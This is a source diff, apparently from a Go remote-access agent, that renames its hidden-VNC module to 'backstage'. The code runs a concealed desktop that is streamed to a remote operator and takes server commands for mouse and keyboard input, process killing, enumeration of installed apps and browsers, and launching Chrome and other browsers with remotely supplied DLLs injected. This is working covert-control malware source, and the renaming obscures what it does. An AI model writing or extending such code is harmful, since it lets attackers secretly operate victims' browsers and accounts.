backstageTargetFPS.Store(int64(fps))
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
return fps
}
func backstageSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.BackstageSelectedDisplay
maxDisplays := capture.BackstageMonitorCount()
if display < 0 || display >= maxDisplays {
log.Printf("backstage: WARNING - requested display %d out of range (0-%d), clamping to 0", display, maxDisplays-1)
display = 0
}
env.BackstageSelectedDisplay = display
persistbackstageDisplaySelection(display)
log.Printf("backstage: set selected display from %d to %d (reported monitors=%d, will capture monitor at index %d)", prev, display, maxDisplays, display)
return nil
}
func backstageMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageMouseControl = enabled
log.Printf("backstage: mouse control %v", enabled)
return nil
}
func backstageKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageKeyboardControl = enabled
log.Printf("backstage: keyboard control %v", enabled)
return nil
}
func backstageCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
env.BackstageCursorCapture = enabled
capture.SetbackstageCursorCapture(enabled)
log.Printf("backstage: cursor capture %v", enabled)
return nil
}
@@ -0,0 +1,10 @@
//go:build !windows
package handlers
func setCursorPosbackstage(x, y int32) {}
func sendMouseDownbackstage(button int) {}
func sendMouseUpbackstage(button int) {}
func sendKeyDownbackstage(vk uint16) {}
func sendKeyUpbackstage(vk uint16) {}
func keyCodeToVKbackstage(code string) uint16 { return 0 }
@@ -2,6 +2,6 @@
package handlers
func keyCodeToVKHVNC(code string) uint16 {
func keyCodeToVKbackstage(code string) uint16 {
return keyCodeToVK(code)
}
+212 -212
View File
@@ -39,24 +39,24 @@ var (
voiceSession *voiceRuntime
desktopAudioMu sync.Mutex
desktopAudioSession *voiceRuntime
hvncInputOnce sync.Once
hvncInputQueue chan hvncInputEvent
hvncInputDropped atomic.Uint64
backstageInputOnce sync.Once
backstageInputQueue chan backstageInputEvent
backstageInputDropped atomic.Uint64
)
type hvncInputKind int
type backstageInputKind int
const (
hvncInputMouseMove hvncInputKind = iota
hvncInputMouseDown
hvncInputMouseUp
hvncInputMouseWheel
hvncInputKeyDown
hvncInputKeyUp
BackstageInputMouseMove backstageInputKind = iota
BackstageInputMouseDown
BackstageInputMouseUp
BackstageInputMouseWheel
BackstageInputKeyDown
BackstageInputKeyUp
)
type hvncInputEvent struct {
kind hvncInputKind
type backstageInputEvent struct {
kind backstageInputKind
display int
x int32
y int32
@@ -105,18 +105,18 @@ func resetForReconnect(env *runtime.Env) {
env.SelectedDisplay = GetPersistedDisplay()
env.DesktopMu.Unlock()
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMouseControl = false
env.HVNCKeyboardControl = false
env.HVNCCursorCapture = false
env.HVNCSelectedDisplay = 0
env.HVNCMu.Unlock()
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
env.BackstageSelectedDisplay = 0
env.BackstageMu.Unlock()
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
@@ -184,44 +184,44 @@ func stopVirtualStreamLocked(env *runtime.Env) {
env.VirtualDone = nil
}
func ensureHVNCInputWorker() {
hvncInputOnce.Do(func() {
hvncInputQueue = make(chan hvncInputEvent, 1024)
goSafe("hvnc input worker", nil, func() {
for ev := range hvncInputQueue {
func ensurebackstageInputWorker() {
backstageInputOnce.Do(func() {
backstageInputQueue = make(chan backstageInputEvent, 1024)
goSafe("backstage input worker", nil, func() {
for ev := range backstageInputQueue {
switch ev.kind {
case hvncInputMouseMove:
if err := capture.HVNCInputMouseMove(ev.display, ev.x, ev.y); err != nil {
log.Printf("hvnc input worker: mouse_move failed: %v", err)
case BackstageInputMouseMove:
if err := capture.BackstageInputMouseMove(ev.display, ev.x, ev.y); err != nil {
log.Printf("backstage input worker: mouse_move failed: %v", err)
}
case hvncInputMouseDown:
case BackstageInputMouseDown:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseDown(ev.button); err != nil {
log.Printf("hvnc input worker: mouse_down failed: %v", err)
if err := capture.BackstageInputMouseDown(ev.button); err != nil {
log.Printf("backstage input worker: mouse_down failed: %v", err)
}
case hvncInputMouseUp:
case BackstageInputMouseUp:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseUp(ev.button); err != nil {
log.Printf("hvnc input worker: mouse_up failed: %v", err)
if err := capture.BackstageInputMouseUp(ev.button); err != nil {
log.Printf("backstage input worker: mouse_up failed: %v", err)
}
case hvncInputMouseWheel:
case BackstageInputMouseWheel:
if ev.x != 0 || ev.y != 0 {
_ = capture.HVNCInputMouseMove(ev.display, ev.x, ev.y)
_ = capture.BackstageInputMouseMove(ev.display, ev.x, ev.y)
}
if err := capture.HVNCInputMouseWheel(ev.delta); err != nil {
log.Printf("hvnc input worker: mouse_wheel failed: %v", err)
if err := capture.BackstageInputMouseWheel(ev.delta); err != nil {
log.Printf("backstage input worker: mouse_wheel failed: %v", err)
}
case hvncInputKeyDown:
if err := capture.HVNCInputKeyDown(ev.vk); err != nil {
log.Printf("hvnc input worker: key_down vk=%d failed: %v", ev.vk, err)
case BackstageInputKeyDown:
if err := capture.BackstageInputKeyDown(ev.vk); err != nil {
log.Printf("backstage input worker: key_down vk=%d failed: %v", ev.vk, err)
}
case hvncInputKeyUp:
if err := capture.HVNCInputKeyUp(ev.vk); err != nil {
log.Printf("hvnc input worker: key_up vk=%d failed: %v", ev.vk, err)
case BackstageInputKeyUp:
if err := capture.BackstageInputKeyUp(ev.vk); err != nil {
log.Printf("backstage input worker: key_up vk=%d failed: %v", ev.vk, err)
}
}
}
@@ -229,36 +229,36 @@ func ensureHVNCInputWorker() {
})
}
func enqueueHVNCInput(ev hvncInputEvent) {
ensureHVNCInputWorker()
func enqueuebackstageInput(ev backstageInputEvent) {
ensurebackstageInputWorker()
select {
case hvncInputQueue <- ev:
case backstageInputQueue <- ev:
return
default:
if ev.kind == hvncInputMouseMove {
dropped := hvncInputDropped.Add(1)
if ev.kind == BackstageInputMouseMove {
dropped := backstageInputDropped.Add(1)
if dropped%100 == 1 {
log.Printf("hvnc input queue: dropping mouse_move events dropped=%d", dropped)
log.Printf("backstage input queue: dropping mouse_move events dropped=%d", dropped)
}
return
}
t := time.NewTimer(200 * time.Millisecond)
defer t.Stop()
select {
case hvncInputQueue <- ev:
case backstageInputQueue <- ev:
case <-t.C:
log.Printf("hvnc input queue: enqueue timeout kind=%d", ev.kind)
log.Printf("backstage input queue: enqueue timeout kind=%d", ev.kind)
}
}
}
func clearHVNCInputQueue() {
if hvncInputQueue == nil {
func clearbackstageInputQueue() {
if backstageInputQueue == nil {
return
}
for {
select {
case <-hvncInputQueue:
case <-backstageInputQueue:
default:
return
}
@@ -1068,8 +1068,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultAsync(env, cmdID)
return nil
// ==================== HVNC COMMANDS ====================
case "hvnc_start":
// ==================== backstage COMMANDS ====================
case "backstage_start":
payload, _ := envelope["payload"].(map[string]interface{})
autoStartExplorer := false
VirtualMode := false
@@ -1110,24 +1110,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
env.HVNCMu.Lock()
if env.HVNCCancel != nil {
env.HVNCCancel()
waitStreamStop(env.HVNCDone, "hvnc")
env.BackstageMu.Lock()
if env.BackstageCancel != nil {
env.BackstageCancel()
waitStreamStop(env.BackstageDone, "backstage")
}
hvncCtx, cancel := context.WithCancel(ctx)
env.HVNCCancel = cancel
backstageCtx, cancel := context.WithCancel(ctx)
env.BackstageCancel = cancel
done := make(chan struct{})
env.HVNCDone = done
goSafe("hvnc stream", env.Cancel, func() {
log.Printf("hvnc: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = HVNCStart(hvncCtx, env, autoStartExplorer)
env.BackstageDone = done
goSafe("backstage stream", env.Cancel, func() {
log.Printf("backstage: start requested (autoStartExplorer=%v)", autoStartExplorer)
_ = backstageStart(backstageCtx, env, autoStartExplorer)
close(done)
})
env.HVNCMu.Unlock()
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_stop":
case "backstage_stop":
env.VirtualMu.Lock()
if env.VirtualCancel != nil {
log.Printf("hidden: stop requested")
@@ -1137,22 +1137,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
env.VirtualMu.Unlock()
env.HVNCMu.Lock()
log.Printf("hvnc: stop requested")
env.HVNCMouseControl = false
env.HVNCKeyboardControl = false
env.HVNCCursorCapture = false
clearHVNCInputQueue()
if env.HVNCCancel != nil {
env.HVNCCancel()
env.BackstageMu.Lock()
log.Printf("backstage: stop requested")
env.BackstageMouseControl = false
env.BackstageKeyboardControl = false
env.BackstageCursorCapture = false
clearbackstageInputQueue()
if env.BackstageCancel != nil {
env.BackstageCancel()
}
waitStreamStop(env.HVNCDone, "hvnc")
env.HVNCCancel = nil
env.HVNCDone = nil
env.HVNCMu.Unlock()
waitStreamStop(env.BackstageDone, "backstage")
env.BackstageCancel = nil
env.BackstageDone = nil
env.BackstageMu.Unlock()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_select_display":
case "backstage_select_display":
payload, _ := envelope["payload"].(map[string]interface{})
disp := 0
if payload != nil {
@@ -1173,11 +1173,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
disp = int(v)
}
}
log.Printf("hvnc: select display %d", disp)
_ = HVNCSelect(ctx, env, disp)
log.Printf("backstage: select display %d", disp)
_ = backstageSelect(ctx, env, disp)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_mouse":
case "backstage_enable_mouse":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
@@ -1191,11 +1191,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: mouse control %v", enabled)
_ = HVNCMouseControl(ctx, env, enabled)
log.Printf("backstage: mouse control %v", enabled)
_ = backstageMouseControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_keyboard":
case "backstage_enable_keyboard":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
@@ -1209,11 +1209,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: keyboard control %v", enabled)
_ = HVNCKeyboardControl(ctx, env, enabled)
log.Printf("backstage: keyboard control %v", enabled)
_ = backstageKeyboardControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_cursor":
case "backstage_enable_cursor":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := false
if payload != nil {
@@ -1227,11 +1227,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
log.Printf("hvnc: cursor capture %v", enabled)
_ = HVNCCursorControl(ctx, env, enabled)
log.Printf("backstage: cursor capture %v", enabled)
_ = backstageCursorControl(ctx, env, enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_dxgi":
case "backstage_enable_dxgi":
payload, _ := envelope["payload"].(map[string]interface{})
dxgiEnabled := true
if payload != nil {
@@ -1239,11 +1239,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
dxgiEnabled = v
}
}
log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
capture.SetHVNCDXGIEnabled(dxgiEnabled)
log.Printf("backstage: DXGI capture %v", dxgiEnabled)
capture.SetbackstageDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_enable_uia":
case "backstage_enable_uia":
payload, _ := envelope["payload"].(map[string]interface{})
uiaEnabled := true
if payload != nil {
@@ -1251,11 +1251,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
uiaEnabled = v
}
}
log.Printf("hvnc: UIA support %v", uiaEnabled)
capture.SetHVNCUIAEnabled(uiaEnabled)
log.Printf("backstage: UIA support %v", uiaEnabled)
capture.SetbackstageUIAEnabled(uiaEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_resolution":
case "backstage_set_resolution":
payload, _ := envelope["payload"].(map[string]interface{})
maxH := 1080
if payload != nil {
@@ -1263,11 +1263,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
maxH = v
}
}
log.Printf("hvnc: set resolution maxHeight=%d", maxH)
log.Printf("backstage: set resolution maxHeight=%d", maxH)
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_fps":
case "backstage_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
fps := 120
if payload != nil {
@@ -1279,14 +1279,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
fps = SetVirtualTargetFPS(fps)
} else {
// Also seed virtual mode so a setting sent immediately before
// hvnc_start is retained when that start selects virtual mode.
fps = SetHVNCTargetFPS(fps)
// backstage_start is retained when that start selects virtual mode.
fps = SetbackstageTargetFPS(fps)
SetVirtualTargetFPS(fps)
}
log.Printf("hvnc: set target fps=%d", fps)
log.Printf("backstage: set target fps=%d", fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_quality":
case "backstage_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
codec := ""
@@ -1298,16 +1298,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
codec = v
}
}
log.Printf("hvnc: set quality=%d codec=%s", quality, codec)
log.Printf("backstage: set quality=%d codec=%s", quality, codec)
capture.SetQualityAndCodec(quality, codec)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_request_keyframe":
log.Printf("hvnc: request full frame")
capture.RequestHVNCFullFrame()
case "backstage_request_keyframe":
log.Printf("backstage: request full frame")
capture.RequestbackstageFullFrame()
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_mouse_move":
case "backstage_mouse_move":
payload, _ := envelope["payload"].(map[string]interface{})
x, y := int32(0), int32(0)
if payload != nil {
@@ -1372,14 +1372,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputMouseMove(x, y)
return nil
}
if !env.HVNCMouseControl {
if !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseMove, display: env.HVNCSelectedDisplay, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseMove, display: env.BackstageSelectedDisplay, x: x, y: y})
return nil
case "hvnc_mouse_down":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_down":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1475,10 +1475,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseDown(btn)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseDown, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseDown, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "hvnc_mouse_up":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_up":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1574,10 +1574,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseUp(btn)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseUp, display: env.HVNCSelectedDisplay, button: btn, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseUp, display: env.BackstageSelectedDisplay, button: btn, x: x, y: y})
return nil
case "hvnc_mouse_wheel":
if env.VirtualCancel == nil && !env.HVNCMouseControl {
case "backstage_mouse_wheel":
if env.VirtualCancel == nil && !env.BackstageMouseControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1673,10 +1673,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = capture.VirtualInputMouseWheel(delta)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputMouseWheel, display: env.HVNCSelectedDisplay, delta: delta, x: x, y: y})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputMouseWheel, display: env.BackstageSelectedDisplay, delta: delta, x: x, y: y})
return nil
case "hvnc_key_down":
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
case "backstage_key_down":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1687,7 +1687,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
@@ -1696,11 +1696,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyDown(vk)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyDown, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyDown, vk: vk})
}
return nil
case "hvnc_key_up":
if env.VirtualCancel == nil && !env.HVNCKeyboardControl {
case "backstage_key_up":
if env.VirtualCancel == nil && !env.BackstageKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
@@ -1711,7 +1711,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
code = v
}
}
if vk := keyCodeToVKHVNC(code); vk != 0 {
if vk := keyCodeToVKbackstage(code); vk != 0 {
if env.VirtualCancel != nil {
if !env.VirtualKeyboardControl {
sendCommandResultSafe(env, cmdID, true, "")
@@ -1720,10 +1720,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.VirtualInputKeyUp(vk)
return nil
}
enqueueHVNCInput(hvncInputEvent{kind: hvncInputKeyUp, vk: vk})
enqueuebackstageInput(backstageInputEvent{kind: BackstageInputKeyUp, vk: vk})
}
return nil
case "hvnc_start_process":
case "backstage_start_process":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
killExe := ""
@@ -1757,12 +1757,12 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
}
log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
log.Printf("backstage: start process %q (kill_exe=%q opera_patch=%v display=%d)", filePath, killExe, operaPatch, display)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process", nil, func() {
goSafe("backstage_start_process", nil, func() {
sendLaunchStatus := func(step string, success bool, detail string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserLaunchStatus{
Type: "hvnc_browser_launch_status",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserLaunchStatus{
Type: "backstage_browser_launch_status",
Browser: filepath.Base(strings.Trim(filePath, `"`)),
Step: step,
Success: success,
@@ -1772,14 +1772,14 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if killExe != "" {
sendLaunchStatus("kill", true, "killing "+killExe)
out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput()
log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
log.Printf("backstage: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err)
if err != nil {
sendLaunchStatus("kill", false, fmt.Sprintf("taskkill failed: %s", strings.TrimSpace(string(out))))
}
}
sendLaunchStatus("launch", true, fmt.Sprintf("starting %s", filePath))
if err := capture.StartHVNCProcess(filePath, operaPatch, display); err != nil {
log.Printf("hvnc: start process failed for %q: %v", filePath, err)
if err := capture.StartbackstageProcess(filePath, operaPatch, display); err != nil {
log.Printf("backstage: start process failed for %q: %v", filePath, err)
sendLaunchStatus("launch", false, fmt.Sprintf("failed: %v", err))
} else {
sendLaunchStatus("launch", true, "process created")
@@ -1787,7 +1787,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
case "hvnc_kill_all":
case "backstage_kill_all":
if env.VirtualCancel != nil {
log.Printf("hidden: kill all processes on virtual monitor")
sendCommandResultSafe(env, cmdID, true, "")
@@ -1798,23 +1798,23 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
}
log.Printf("hvnc: kill all processes on hidden desktop")
log.Printf("backstage: kill all processes on hidden desktop")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_kill_all", nil, func() {
if err := capture.HVNCKillAll(); err != nil {
log.Printf("hvnc: kill all failed: %v", err)
goSafe("backstage_kill_all", nil, func() {
if err := capture.BackstageKillAll(); err != nil {
log.Printf("backstage: kill all failed: %v", err)
}
})
return nil
case "hvnc_window_list":
log.Printf("hvnc: window list requested")
case "backstage_window_list":
log.Printf("backstage: window list requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_window_list", nil, func() {
windows, monitors := capture.HVNCEnumWindows()
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
goSafe("backstage_window_list", nil, func() {
windows, monitors := capture.BackstageEnumWindows()
winEntries := make([]wire.BackstageWindowEntry, 0, len(windows))
for _, w := range windows {
winEntries = append(winEntries, wire.HVNCWindowEntry{
winEntries = append(winEntries, wire.BackstageWindowEntry{
Title: w.Title,
X: w.X,
Y: w.Y,
@@ -1825,9 +1825,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Monitor: w.Monitor,
})
}
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
monEntries := make([]wire.BackstageMonitorEntry, 0, len(monitors))
for _, m := range monitors {
monEntries = append(monEntries, wire.HVNCMonitorEntry{
monEntries = append(monEntries, wire.BackstageMonitorEntry{
Index: m.Index,
Name: m.Name,
X: m.X,
@@ -1837,63 +1837,63 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
Primary: m.Primary,
})
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
Type: "hvnc_window_list_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageWindowListResult{
Type: "backstage_window_list_result",
Windows: winEntries,
Monitors: monEntries,
})
log.Printf("hvnc: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
log.Printf("backstage: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
})
return nil
case "hvnc_browser_check":
log.Printf("hvnc: browser availability check requested")
case "backstage_browser_check":
log.Printf("backstage: browser availability check requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_browser_check", nil, func() {
goSafe("backstage_browser_check", nil, func() {
browsers := capture.CheckInstalledBrowsers()
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCBrowserCheckResult{
Type: "hvnc_browser_check_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageBrowserCheckResult{
Type: "backstage_browser_check_result",
Browsers: browsers,
})
log.Printf("hvnc: browser check complete: %v", browsers)
log.Printf("backstage: browser check complete: %v", browsers)
})
return nil
case "hvnc_installed_apps":
log.Printf("hvnc: installed apps enumeration requested")
case "backstage_installed_apps":
log.Printf("backstage: installed apps enumeration requested")
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_installed_apps", nil, func() {
goSafe("backstage_installed_apps", nil, func() {
const batchSize = 15
apps := enumerateInstalledApps()
log.Printf("hvnc: enumerated %d installed apps, extracting icons in batches", len(apps))
var batch []wire.HVNCInstalledApp
log.Printf("backstage: enumerated %d installed apps, extracting icons in batches", len(apps))
var batch []wire.BackstageInstalledApp
sent := 0
for _, a := range apps {
batch = append(batch, wire.HVNCInstalledApp{
batch = append(batch, wire.BackstageInstalledApp{
Name: a.name,
ExePath: a.exePath,
Icon: extractIconBase64(a.exePath),
})
if len(batch) >= batchSize {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
Type: "hvnc_installed_apps_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
})
sent += len(batch)
batch = batch[:0]
}
}
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCInstalledAppsResult{
Type: "hvnc_installed_apps_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageInstalledAppsResult{
Type: "backstage_installed_apps_result",
Apps: batch,
Done: true,
})
sent += len(batch)
log.Printf("hvnc: installed apps complete, sent %d apps", sent)
log.Printf("backstage: installed apps complete, sent %d apps", sent)
})
return nil
case "hvnc_lookup":
case "backstage_lookup":
payload, _ := envelope["payload"].(map[string]interface{})
exeName := ""
if payload != nil {
@@ -1905,28 +1905,28 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no exe name provided")
return nil
}
log.Printf("hvnc: lookup exe %q", exeName)
log.Printf("backstage: lookup exe %q", exeName)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_lookup", nil, func() {
goSafe("backstage_lookup", nil, func() {
filesearch.LookupExe(exeName, 8, func(path string) {
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: path,
Done: false,
})
})
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCLookupResult{
Type: "hvnc_lookup_result",
_ = wire.WriteMsg(context.Background(), env.Conn, wire.BackstageLookupResult{
Type: "backstage_lookup_result",
Exe: exeName,
Path: "",
Done: true,
})
log.Printf("hvnc: lookup complete for %q", exeName)
log.Printf("backstage: lookup complete for %q", exeName)
})
return nil
case "hvnc_start_process_injected":
case "backstage_start_process_injected":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
searchPath := ""
@@ -1952,16 +1952,16 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return nil
}
captureDllBytes := extractCaptureDLLBytes(payload)
log.Printf("hvnc: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() {
if _, err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
goSafe("backstage_start_process_injected", nil, func() {
if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil {
log.Printf("backstage: injected process failed for %q: %v", filePath, err)
}
})
return nil
case "hvnc_start_chrome_injected":
case "backstage_start_chrome_injected":
payload, _ := envelope["payload"].(map[string]interface{})
chromePath := ""
if payload != nil {
@@ -1974,17 +1974,17 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
captureDllBytes := extractCaptureDLLBytes(payload)
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_chrome_injected", nil, func() {
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("hvnc: chrome injected failed: %v", err)
goSafe("backstage_start_chrome_injected", nil, func() {
if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
log.Printf("backstage: chrome injected failed: %v", err)
}
})
return nil
case "hvnc_start_browser_injected":
case "backstage_start_browser_injected":
payload, _ := envelope["payload"].(map[string]interface{})
browser := ""
exePath := ""
@@ -2021,15 +2021,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil
}
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes))
